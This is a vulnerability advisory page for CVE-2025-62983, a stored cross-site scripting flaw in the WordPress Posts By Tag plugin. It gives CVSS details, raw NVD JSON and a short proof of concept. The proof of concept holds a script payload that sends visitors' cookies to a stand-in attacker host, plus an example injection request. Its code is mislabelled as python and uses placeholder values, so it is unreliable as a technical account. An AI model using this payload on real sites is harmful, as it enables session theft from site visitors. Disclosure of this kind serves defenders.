Security Vulnerability Report
中文
CVE-2025-62983 CVSS 6.5 MEDIUM

CVE-2025-62983

Published: 2025-10-27 02:15:59
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Sudar Muthu Posts By Tag posts-by-tag allows Stored XSS.This issue affects Posts By Tag: from n/a through <= 3.2.1.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Posts By Tag插件 <= 3.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-62983 PoC - Stored XSS in Posts By Tag Plugin // Target: WordPress Posts By Tag Plugin <= 3.2.1 // Attack Vector: Inject malicious script in tag name // Step 1: Authenticate with low privilege account (Contributor/Author role) const credentials = { username: 'attacker', password: 'password123' }; // Step 2: Create a post with malicious tag const maliciousTag = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Step 3: Send the crafted request const payload = { action: 'save-tag', tag_name: maliciousTag, nonce: 'legitimate_nonce_here' }; // Step 4: Any user visiting a page displaying this tag will execute the payload // Example: Using the_posts_by_tag() shortcode or widget // HTTP Request Example: /* POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded action=save-tag&tag_name=<script>alert(document.cookie)</script>&nonce=xxx */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62983", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:59.207", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Sudar Muthu Posts By Tag posts-by-tag allows Stored XSS.This issue affects Posts By Tag: from n/a through <= 3.2.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/posts-by-tag/vulnerability/wordpress-posts-by-tag-plugin-3-2-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}